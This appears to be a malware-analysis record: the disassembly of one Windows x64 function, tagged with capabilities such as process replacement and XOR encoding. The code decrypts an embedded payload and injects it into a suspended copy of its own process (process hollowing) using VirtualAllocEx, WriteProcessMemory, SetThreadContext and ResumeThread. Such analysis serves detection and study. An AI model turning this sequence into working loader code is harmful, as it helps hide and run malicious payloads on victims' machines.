Function at 0x1400011f0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Encode data using xor
Resume thread
Use process replacement

Disassembly:
push rbx
push r12
push r13
sub rsp, 0x500
mov rax, qword [0x140005040]
xor rax, rsp
mov qword [rsp + 0x4e0], rax
mov r9, qword [0x140040b68]
lea rbx, [0x140040b50]
mov r10, qword [0x140040b60]
lea r13, [0x1400050c0]
mov r11, qword [0x140040b50]
xor r12d, r12d
mov r8d, r12d
nop dword [rax + rax]
cmp r9, 0xf
mov rax, r8
mov rcx, rbx
cmova rcx, r11
xor edx, edx
div r10
movzx eax, byte [rdx + rcx]
xor byte [r8 + r13], al
inc r8
cmp r8, 0x3b400
jne 0x140001240
movsxd rbx, dword [0x1400050fc]
xorps xmm1, xmm1
xor eax, eax
mov qword [rsp + 0x530], rdi
add rbx, r13
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
mov qword [rsp + 0xd0], rax
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x70], xmm1
movups xmmword [rsp + 0x80], xmm1
movups xmmword [rsp + 0x90], xmm1
movups xmmword [rsp + 0xa0], xmm1
movups xmmword [rsp + 0xb0], xmm1
movups xmmword [rsp + 0xc0], xmm1
cmp dword [rbx], 0x4550
jne 0x140001491
mov r8d, 0x104
lea rdx, [rsp + 0xe0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0xe0]
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor edx, edx
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140001491
mov edx, 8
xor ecx, ecx
mov r8d, 0x1000
lea r9d, [rdx - 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
mov rdi, rax
mov dword [rax + 0x30], 0x10000b
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x140001491
mov r8d, dword [rbx + 0x50]
mov r9d, 0x3000
mov rdx, qword [rbx + 0x30]
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x528], rsi
mov qword [rsp + 0x4f8], r14
mov qword [rsp + 0x4f0], r15
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, dword [rbx + 0x54]
mov r8, r13
mov rcx, qword [rsp + 0x50]
mov rdx, rax
mov rsi, rax
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r14, r12
cmp r12w, word [rbx + 6]
jae 0x140001446
mov qword [rsp + 0x520], rbp
mov rbp, r12
movsxd rcx, dword [0x1400050fc]
add rcx, rbp
mov qword [rsp + 0x20], r12
mov r8d, dword [rcx + r13 + 0x11c]
mov edx, dword [rcx + r13 + 0x114]
add r8, r13
mov r9d, dword [rcx + r13 + 0x118]
add rdx, rsi
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rdx, qword [rdi + 0x88]
lea r8, [rbx + 0x30]
mov rcx, qword [rsp + 0x50]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [rbx + 6]
inc r14
add rbp, 0x28
cmp r14, rax
jb 0x1400013d1
mov rbp, qword [rsp + 0x520]
mov eax, dword [rbx + 0x28]
mov rdx, rdi
add rax, rsi
mov qword [rdi + 0x80], rax
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r15, qword [rsp + 0x4f0]
mov r14, qword [rsp + 0x4f8]
mov rsi, qword [rsp + 0x528]
mov rdi, qword [rsp + 0x530]
xor eax, eax
mov rcx, qword [rsp + 0x4e0]
xor rcx, rsp
call fcn.1400014d0
add rsp, 0x500
pop r13
pop r12
pop rbx
ret